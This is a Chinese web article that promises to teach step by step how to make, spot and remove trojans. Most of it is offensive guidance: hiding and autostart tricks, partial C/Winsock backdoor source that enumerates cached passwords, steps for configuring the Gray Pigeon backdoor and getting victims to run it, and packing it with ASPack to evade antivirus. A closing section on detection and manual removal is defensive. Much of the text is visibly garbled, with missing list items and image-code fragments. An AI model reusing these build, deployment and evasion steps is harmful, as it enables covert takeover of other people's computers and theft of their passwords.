软件
木马制作(手把手教你如何制作木马?如何识别木马?如何查杀木马?)

木马和病毒的主要区别:

2、木马是指未经用户同意进行非授权操作的一种恶意程序。它们可能删除硬盘上的数据,使系统瘫痪,盗取用户资料等。木马程序不能独立侵入计算机,而是要依靠黑客来进行传播,它们常常被伪装成"正常"软件进行散播。

好的,大家理解了木马和病毒的区别以后,今天咱们进入正题,阐述一下"木马程序的原理与实现"!

一、 木马程序简介

由来:

基础定义:入侵者编写入侵他人电脑并进行控制和破坏的程序,就叫做"木马程序"。木马与计算机网络中常常要用到的远程控制软件有些相似,但由于远程控制软件是"善意"的控制,因此通常不具有隐蔽性;"木马"则完全相反,木马的目的是要达到 "偷窃"性的远程控制,如果没有很强的隐蔽性的话,那就是"毫无价值"的。

(1)伪装性:木马总是伪装成其他程序来迷惑管理员。

(3)隐蔽性:木马的运行隐蔽,甚至使用任务管理器都看不出来。

3、木马被入侵者用来做什么?

当基于认证和漏洞的入侵无法进行时,就需要考虑使用木马入侵。

由于木马连接不需要系统认证并且隐蔽性好,为了以后还能控制远程主机,可以种木马以留后门。

二、 木马的工作原理

木马是一种基于远程控制的黑客工具,一般来说,木马程序包括客户端和服务端两部分。

手把手教你如何制作木马?如何识别木马?如何查杀木马?nerror="javascript:errorimg.call(this);">

木马主要是依靠邮件附件、软件下载、淫秽图片、通信软件等途径进行传播,然后,木马通过一定的提示诱使目标主机运行木马的服务端程序,实现木马的种植。

木马的体积都非常小,大部分在几KB到几十KB之间。

对于通信协议的选择,绝大多数木马使用的是TCP/IP协议,但也有使用UDP协议的木马。

2、关键技术

1) 程序隐藏

2) 进程隐藏

API拦截属于进程伪隐藏方式通过利用Hook技术监控并截获系统中某些程序对进程显示的API 函数调用,然后修改函数返回的进程信息,将自己从结果中删除,导致任务管理器等工具无法显示该木马进程。

3) 通信隐藏

端口复用技术,它让木马服务端程序共享其他网络程序已打开的端口和客户端进行连接,从而防止重新开启端口降低隐蔽性。关键之处在于,木马程序应增设一个数据包转交判断模块,该模块控制主机对数据报的转交选择。

(二) 木马自启动技术

1)在Win.ini中启动

2)在System.ini中启动

3)通过启动组实现自启动

[注:"All Users"即对所有用户都有作用]

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run,

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run,

5)修改文件关联

例如:在正常情况下,txt文件的打开方式为notepad.exe文件,但一旦中了文件关联木马,则txt文件打开方式就会被修改为用木马程序打开。例如著名的国产木马冰河就是这样。

入侵者可以通过一些黑客软件,如著名的Deception Binder,完成文件的捆绑,之后将这些捆绑文件放到网站、FTP、BT等资源下载场所,当用户下载并执行捆绑文件,同时就启动了木马的服务端程序。

1)图标伪装

2)文件捆绑欺骗

例如,把木马服务端和某个游戏,或者flash文件捆绑成一个文件通过QQ或邮件发送给受害者。当受害者对这个游戏或flash感兴趣而下载到机器上,并开打了该文件,木马程序就会悄悄运行。

很多老式的木马端口都是固定的,只要查一下特定的端口就知道感染了什么木马。现在很多新式的木马都加入了定制端口的功能,控制端用户可以在1024~65535之间任选一个端口作为木马端口,一般不选1024以下的端口,这就给判断所感染的木马类型带来了麻烦。

例如,图像文件的扩展名不可能是.exe,而木马程序的扩展名又必定是.exe,大多数用户在看到扩展名为".exe"的文件时,就会很小心。于是设计者就将文件名进行一些改变,例如将"picture.tiff"更改为"pitcture.tiff.exe",因为windows默认是不显示扩展名的,于是用户就只能看到"picture.tiff",很容易将其作为一个图片文件而启动。

三、 木马的演变与种类

从木马的发展来看,把木马分为五代。

第一代的木马功能相当简单,典型的有back orifice(简称:BO)、netSpy等,早就退出了历史的舞台。

2)第二代木马

3)第三代木马

4)第四代木马

5)第五代木马

2、木马的种类

手把手教你如何制作木马?如何识别木马?如何查杀木马?nerror="javascript:errorimg.call(this);">

破坏并删除文件,自动删除电脑上的dll、EXE等文件,以达到使被感染的电脑瘫痪的目的。

密码发送型的木马正是专门为了盗取被感染计算机上的密码而编写的,该木马一旦被执行,就会自动搜索内存,Cache,临时文件夹以及各种敏感密码文件,一旦搜索到有用的密码,木马就会利用免费的电子邮件服务将密码发送到指定的邮箱。从而达到获取密码的目的,所以这类木马大多使用25号端口发送E-mail。

远程访问型木马程序一般包括客户端程序和服务端程序,在目标主机上执行了服务端程序之后,只要用户知道目标主机的IP地址或主机名,就可以与目标主机连接,连接成功后,用户通过客户端程序提供的远程操作功能就可以实现对目标主机的监视与控制。

4)键盘记录木马

对于这种类型的木马,邮件发送功能也是必不可少的。

Dos全名是Denial of service(拒绝服务)。它故意攻击网络协议的缺陷或直接通过某种手段耗尽被攻击对象的资源,目的是让目标计算机或网络无法提供正常的服务或资源访问,使目标系统服务停止响应甚至崩溃。

全名是 (),很多攻击源一起攻击某台服务器就组成了DDOS攻击。

给被控制的肉鸡种上代理木马,让其变成入侵者发动攻击的跳板就是代理木马最重要的任务。通过代理木马,入侵者可以在匿名的情况下使用Telnet等程序,从而隐蔽自己的踪迹。

这种木马可能是最简单和古老的木马了,它的惟一功能就是打开21端口,等待用户连接。现在新FTP木马还加上了密码功能,这样,只有攻击者本人才知道正确的密码,从而进入对方的计算机。

常见的查杀木马软件有瑞星,Norton Anti-Virus及木马清除大师等。程序杀手木马的功能就是关闭目标机器上运行的木马查杀程序,让木马更好地发挥作用。

木马开发者在分析了防火墙的特性后发现 :防火墙对于连入的链接往往会进行非常严格的过滤,但是对于连出的链接却疏于防范。

木马定时监测客户端(控制端)的存在,发现客户端(控制端)上线立即主动连接控制端打开的主动端口;

主流木马:

手把手教你如何制作木马?如何识别木马?如何查杀木马?nerror="javascript:errorimg.call(this);">

四、 木马程序的实现

1) 木马程序隐藏技术

2) 程序的自启动运行技术

2、 WINSOCK编程完成一个简单"木马程序"实现(附源码)

源代码如下:

#include <windows.h> #include <winsock.h> #include <mmsystem.h> #pragma hdrstop #include <condefs.h> #pragma argsused #define RUN "//WinMon32.exe" //注册服务 #define SERVICE_PROC 1 //卸载服务 #define UNSERVICE_PROC 0 #define TH32CS_SNAPPROCESS 0x00000002 #define PROCESS_HANDLE_NAME 255 //缓冲区长度 #define dwBuffSize 2048 //命令行长度 #define dwComm 50 #define PORT 9102 #define WM_SOCKET WM_USER+1 #define prompt "LanLan://>" DWORD dwVersion=MAKEWORd(1,1); DWORD dwFlag=TRUE; WSADATA wsaData; SOCKET CreateSock,NewSock; SOCKADDR_IN Sock_in,NewSock_in; LPTSTR szReadBuff,Ob,TempBuff; int addrlen; //CACHE PASSWORD结构 typedef struct tagPASSWORD_CACHE_ENTRY { WORD cbEntry; WORD cbResource; WORD cbPassword; BYTE iEntry; BYTE nType; char abResource[1]; } PASSWORD_CACHE_ENTRY; typedef BOOL (WINAPI *CACHECALLBACK)(PASSWORD_CACHE_ENTRY *pce,DWORD); //CACHE PASSWORD函数原形 typedef WORd (WINAPI *PWNetEnumCachedPasswords)( LPSTR pbPrefix, DWORD cbPrefix, DWORD nType, CACHECALLBACK pfnCallback, DWORD UNKNOWN ); //TOOLHELP32 结构 typedef struct tagPROCESSENTRY32 { DWORD dwSize; DWORD cntUsage; DWORD th32ProcessID; DWORD th32DefaultHeapID; DWORD th32ModuleID; DWORD cntThreads; DWORD th32ParentProcessID; LONG pcPriClassbase; DWORD dwFlags; TCHAR szExeFile[MAX_PATH]; } PROCESSENTRY32; typedef PROCESSENTRY32 * LPPROCESSENTRY32; 注:由于文章篇幅限制剩余源码可以私信我单独发送

灰鸽子简介: 灰鸽子是国内一款著名后门。比起前辈冰河、黑洞来,灰鸽子可以说是国内后门的集大成者。其丰富而强大的功能、灵活多变的操作、良好的隐藏性使其他后门都相形见绌。客户端简易便捷的操作使刚入门的初学者都能充当黑客。当使用在合法情况下时,灰鸽子是一款优秀的远程控制软件。但如果拿它做一些非法的事,灰鸽子就成了很强大的黑客工具。

首先,在电脑上安装灰鸽子,然后进入其主页面

手把手教你如何制作木马?如何识别木马?如何查杀木马?nerror="javascript:errorimg.call(this);">

下来点配置服务程序,先点自动上线设置,IP通知那里添上你FTP在HTTP的访问地址加上你放IP文件的地址

手把手教你如何制作木马?如何识别木马?如何查杀木马?nerror="javascript:errorimg.call(this);">

这时你只要将自己生成的木马给别人运行就可以了,这样他就会上线如下图

大家知道现在的病毒查杀软件对已知的木马程序很容易就查杀掉,所以当你好不容易制作的木马传播出去后,轻松就被客户端查杀掉了,这时我们就要利用加壳技术,给木马套个"壳"防止被杀

加壳:是一种通过一系列数学运算,将可执行程序文件(EXE)或动态链接库文件(DLL)的编码进行改变(目前加壳软件还可以压缩、加密),以达到缩小文件体积或加密程序编码的目的。当被加壳的程序运行时,外壳程序先被执行,然后由这个外壳程序负责将用户原有的程序在内存中解压缩,并把控制权交还给脱壳后的真正程序。

2、利用ASPack加壳防止木马被查杀:

步骤2:选择"打开文件"选项卡,单击"打开"按钮,即可打开"选择要压缩的文件"对话框,在其中选择需要加壳的文件,如下图所示。

手把手教你如何制作木马?如何识别木马?如何查杀木马?nerror="javascript:errorimg.call(this);">

使用方法比较简单,可以自行测试一下效果!

识别方法:

由于不少木马会主动侦听端口,或者会连接特定的IP和端口,所以我们可以在没有正常程序连接网络的情况下,通过检查网络连情情况来发现木马的存在。

 2、查看目前运行的服务

手把手教你如何制作木马?如何识别木马?如何查杀木马?nerror="javascript:errorimg.call(this);">

 3、检查系统启动项

手把手教你如何制作木马?如何识别木马?如何查杀木马?nerror="javascript:errorimg.call(this);">

Windows安装目录下的System.ini也是木马喜欢隐蔽的地方。打开这个文件看看,在该文件的[boot]字段中,是不是有shell=Explorer.exe file.exe这样的内容,如有这样的内容,那这里的file.exe就是木马程序了!

恶意的攻击者喜在电脑中留有一个账户的方法来控制你的计算机。他们采用的方法就是激活一个系统中的默认账户,但这个账户却很少用的,然后把这个账户的权限提升为管理员权限,这个帐户将是系统中最大的安全隐患。恶意的攻击者可以通过这个账户任意地控制你的计算机。针对这种情况,可以用以下方法对账户进行检测。

5、利用系统进程识别木马

木马常利用的系统进程有:svchost.exe、explorer.exe、iexplore.exe、winLOGOn.exe等进程。

常被病毒冒充的进程名有:svch0st.exe、schvost.exe、scvhost.exe。随着Windows系统服务不断增多,为了节省系统资源,微软把很多服务做成共享方式,交由svchost.exe进程来启动。而系统服务是以动态链接库(DLL)形式实现的,它们把可执行程序指向scvhost,由cvhost调用相应服务的动态链接库来启动服务。

在Windows系统中一般存在2个svchost.exe进程,一个是RPCSS(RemoteProcedureCall)服务进程,另外一个则是由很多服务共享的一个svchost.exe;而在WindowsXP中,则一般有4个以上的svchost.exe服务进程。假如svchost.exe进程的数量多于5个,就要小心了,很可能是病毒假冒的,检测方法也很简单,使用一些进程治理工具,例如Windows优化大师的进程治理功能,查看svchost.exe的可执行文件路径,假如在"C:\WINDOWS\system32"目录外,那么就可以判定是病毒了。

常被病毒冒充的进程名有:iexplorer.exe、expiorer.exe、explore.exe。explorer.exe就是我们经常会用到的"资源治理器"。假如在"任务治理器"中将explorer.exe进程结束,那么包括任务栏、桌面、以及打开的文件都会统统消失,单击"任务治理器"→"文件"→"新建任务",输入"explorer.exe"后,消失的东西又重新回来了。explorer.exe进程的作用就是让我们治理计算机中的资源。

(3)iexplore.exe

iexplore.exe进程对应的可执行程序位于C:\ProgramFiles\InternetExplorer目录中,存在于其他目录则为病毒,除非你将该文件夹进行了转移。此外,有时我们会发现没有打开IE浏览器的情况下,系统中仍然存在iexplore.exe进程,这要分两种情况:

2) 病毒偷偷在后台通过iexplore.exe干坏事。

常被病毒冒充的进程名有:rundl132.exe、rundl32.exe。rundll32.exe在系统中的作用是执行DLL文件中的内部函数,系统中存在多少个Rundll32.exe进程,就表示Rundll32.exe启动了多少个的DLL文件。其实rundll32.exe我们是会经常用到的,他可以控制系统中的一些dll文件,举个例子,在"命令提示符"中输入"rundll32.exe user32.dll,LockWorkStation",回车后,系统就会快速切换到登录界面了。rundll32.exe的路径为"C:\Windows\system32",在别的目录则可以判定是病毒。

常被病毒冒充的进程名有:spoo1sv.exe、spolsv.exe。spoolsv.exe是系统服务"Print Spooler"所对应的可执行程序,其作用是治理所有本地和网络打印队列及控制所有打印工作。假如此服务被停用,计算机上的打印将不可用,同时spoolsv.exe进程也会从计算机上消失。假如你不存在打印机设备,那么就把这项服务关闭吧,可以节省系统资源。停止并关闭服务后,假如系统中还存在spoolsv.exe进程,这就一定是病毒伪装的了。

手工查杀:

2、检查注册表中RUN、RUNSERVEICE等几项,先备份,记下可以启动项的地址, 再将可疑的删除。

4、一般这种文件都在WINNT,SYSTEM,SYSTEM32这样的文件夹下,他们一般不会单独存在,很可能是有某个母文件复制过来的,检查C、D、E等盘下有没有可疑的.exe,.com或.bat文件,有则删除之。

6、检查HKEY_CLASSES_ROOT\txtfile\shell\open\command和 HKEY_CLASSES_ROOTxtfileshellopencommand等等几个常用文件类型的默认打开程序是否被更改。这个一定要改回来。很多病毒就是通过修改.txt文件的默认打开程序让病毒在用户打开文本文件时加载的。

查杀木马好用的工具有LockDown、The Clean、木马克星、金山木马专杀、木马清除大师、木马分析专家等,利用这些工具绝大多数的已知木马都可以查杀掉。


顶一下()     踩一下()

热门推荐

发表评论
0评